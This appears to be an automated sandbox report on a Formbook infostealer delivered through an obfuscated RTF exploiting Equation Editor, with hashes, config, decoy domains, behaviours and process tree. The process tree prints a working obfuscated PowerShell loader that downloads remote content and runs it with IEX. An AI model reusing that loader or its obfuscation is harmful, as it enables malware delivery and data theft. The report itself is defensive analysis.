formbook | 5ddfcee976daf1f71a8b1f41a4dd170e80683b2e79d48e312d6010f941de148f

Analysis

max time kernel
148s
max time network
152s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
26/09/2022, 14:12

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General

Target

SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.9690.14807.rtf
Size

864KB
MD5

027e492f7ceb4cf8023d311602434de3
SHA1

5b5a739f5688ce1154a2a4af2de1e9db8854294d
SHA256

5ddfcee976daf1f71a8b1f41a4dd170e80683b2e79d48e312d6010f941de148f
SHA512

bd63344081b7b35e9519b40744aae0af19e5f0a23472696db4f7dcabf2c45c90dd59ac471512aca438e37934d361afd5a8d72cca4ec483b2083cde7140fb3b5d
SSDEEP

1536:kpGEch6dtRGWbCtpl5kmrJ//RFxXxBpzB9TBtiBqK8Qf6YXkY0kY0kY92i3e+6fV:gho

Score

10^/10

formbook n25n rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

n25n

Decoy

counterblast-stately.net

anhuiluan.xyz

searchscrealestate.com

ipfsvault.com

q2307.com

doingout.com

empyreanaudio.com

defectivehomes.info

intlword.online

costumeking.kiwi

backachersalpacas.com

kellysheros.directory

mtbscecure.net

realestateprogression.com

shengmimama.com

sdftsb.com

ghafouli165.online

effexorbuy.top

flipgrill.store

nevadatechhelp.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1612	364	cMd.exe	32
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1040	364	PoWershell.exe	32

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1040 created 420	1040	PoWershell.exe	3

Formbook payload 6 IoCs

rat

resource	yara_rule
behavioral1/memory/1880-76-0x000000000041F100-mapping.dmp	formbook
behavioral1/memory/1880-75-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1880-82-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1880-88-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/624-90-0x0000000000110000-0x000000000013F000-memory.dmp	formbook
behavioral1/memory/624-96-0x0000000000110000-0x000000000013F000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1040	PoWershell.exe
7	1040	PoWershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	PoWershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1040 set thread context of 1880	1040	PoWershell.exe	40
PID 1880 set thread context of 1368	1880	calc.exe	10
PID 1880 set thread context of 1368	1880	calc.exe	10
PID 624 set thread context of 1368	624	help.exe	10

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
584	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2032	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1040	PoWershell.exe
1040	PoWershell.exe
1880	calc.exe
1880	calc.exe
1880	calc.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe
624	help.exe

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1880	calc.exe
1880	calc.exe
1880	calc.exe
1880	calc.exe
624	help.exe
624	help.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeDebugPrivilege	1040	PoWershell.exe
Token: SeIncreaseQuotaPrivilege	1040	PoWershell.exe
Token: SeSecurityPrivilege	1040	PoWershell.exe
Token: SeTakeOwnershipPrivilege	1040	PoWershell.exe
Token: SeLoadDriverPrivilege	1040	PoWershell.exe
Token: SeSystemProfilePrivilege	1040	PoWershell.exe
Token: SeSystemtimePrivilege	1040	PoWershell.exe
Token: SeProfSingleProcessPrivilege	1040	PoWershell.exe
Token: SeIncBasePriorityPrivilege	1040	PoWershell.exe
Token: SeCreatePagefilePrivilege	1040	PoWershell.exe
Token: SeBackupPrivilege	1040	PoWershell.exe
Token: SeRestorePrivilege	1040	PoWershell.exe
Token: SeShutdownPrivilege	1040	PoWershell.exe
Token: SeDebugPrivilege	1040	PoWershell.exe
Token: SeSystemEnvironmentPrivilege	1040	PoWershell.exe
Token: SeRemoteShutdownPrivilege	1040	PoWershell.exe
Token: SeUndockPrivilege	1040	PoWershell.exe
Token: SeManageVolumePrivilege	1040	PoWershell.exe
Token: 33	1040	PoWershell.exe
Token: 34	1040	PoWershell.exe
Token: 35	1040	PoWershell.exe
Token: SeDebugPrivilege	1880	calc.exe
Token: SeDebugPrivilege	624	help.exe
Token: SeShutdownPrivilege	1368	Explorer.EXE
Token: SeShutdownPrivilege	1368	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2032	WINWORD.EXE
2032	WINWORD.EXE

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 584 wrote to memory of 520	584	EQNEDT32.EXE	28
PID 584 wrote to memory of 520	584	EQNEDT32.EXE	28
PID 584 wrote to memory of 520	584	EQNEDT32.EXE	28
PID 584 wrote to memory of 520	584	EQNEDT32.EXE	28
PID 520 wrote to memory of 580	520	CmD.exe	30
PID 520 wrote to memory of 580	520	CmD.exe	30
PID 520 wrote to memory of 580	520	CmD.exe	30
PID 520 wrote to memory of 580	520	CmD.exe	30
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1040 wrote to memory of 1880	1040	PoWershell.exe	40
PID 1368 wrote to memory of 624	1368	Explorer.EXE	41
PID 1368 wrote to memory of 624	1368	Explorer.EXE	41
PID 1368 wrote to memory of 624	1368	Explorer.EXE	41
PID 1368 wrote to memory of 624	1368	Explorer.EXE	41
PID 624 wrote to memory of 1292	624	help.exe	42
PID 624 wrote to memory of 1292	624	help.exe	42
PID 624 wrote to memory of 1292	624	help.exe	42
PID 624 wrote to memory of 1292	624	help.exe	42
PID 2032 wrote to memory of 1648	2032	WINWORD.EXE	44
PID 2032 wrote to memory of 1648	2032	WINWORD.EXE	44
PID 2032 wrote to memory of 1648	2032	WINWORD.EXE	44
PID 2032 wrote to memory of 1648	2032	WINWORD.EXE	44

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\SysWOW64\calc.exe
  C:\Windows\SysWOW64\calc.exe /Processid:{1C776729-24AF-40B9-B938-02E8698D3701}
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  PID:1880

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
  "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Rtf.Obfuscated.32.9690.14807.rtf"
  2⤵
  - Drops file in Windows directory
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\splwow64.exe
    C:\Windows\splwow64.exe 12288
    3⤵
    PID:1648
- C:\Windows\SysWOW64\help.exe
  "C:\Windows\SysWOW64\help.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:624
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Windows\SysWOW64\calc.exe"
    3⤵
    PID:1292

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:584
- C:\Windows\SysWOW64\CmD.exe
  CmD.exe /C cscript %tmp%\Client.vbs AC
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\SysWOW64\cscript.exe
    cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC
    3⤵
    PID:580

C:\Windows\system32\cMd.exe
cMd /c cOpY "C:\Users\Admin\AppData\Local\Temp\Client.vbs" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches" /Y
1⤵
- Process spawned unexpected child process
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\PoWershell.exe
PoWershell {;$CXL17BPPB8B01 = (New-Object -TypeName $QFQG0B6JY9F).GetString($3131XZ0KQITM4,0, $l);$E20LLLLT06Z = $QFQG0B6JY9F::UTF8.GetBytes((n-eiorvsxpk5 $CXL17BPPB8B01 2>&1 | Out-String )) + $QFQG0B6JY9F::UTF8.GetBytes($Q0Q1MD4L55M3J);$1A055IB1FJNK.Write($E20LLLLT06Z, 0, $E20LLLLT06Z.Length);};$08E071X96D5YAO1DLT6SI11G1C4K2XTW0Z2HLA0PGL1RB0C1VBTZXS4SKFZM2FC0=@(40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,115,54,46,107,114,97,107,101,110,102,105,108,101,115,46,99,111,109,47,117,112,108,111,97,100,115,47,50,54,45,48,57,45,50,48,50,50,47,56,66,53,53,86,81,68,87,104,105,47,105,109,97,103,101,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($08E071X96D5YAO1DLT6SI11G1C4K2XTW0Z2HLA0PGL1RB0C1VBTZXS4SKFZM2FC0)|I`E`X
1⤵
- Process spawned unexpected child process
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Client.vbs

Filesize
73KB

MD5
1e4cb10bcea2e90717b99443fb20d83b

SHA1
c53a5e93c03172b9b7112f1962f6742fd30ad342

SHA256
14cffd00f97bea85a2f5f1d3f3e675f733bd6df621c60900aaac45982d08784f

SHA512
6d1b32774c5b1d05247bd73c9f2e9c1637f3b01ca24860591e0feca4adf19abc798e2937583bf789e0d0a69eb26d3ef7a41bbe75fe26cbede68dddede17d1d32

Download Submit
memory/624-96-0x0000000000110000-0x000000000013F000-memory.dmp

Filesize
188KB

Download
memory/624-94-0x00000000009D0000-0x0000000000A63000-memory.dmp

Filesize
588KB

Download
memory/624-92-0x00000000006C0000-0x00000000009C3000-memory.dmp

Filesize
3.0MB

Download
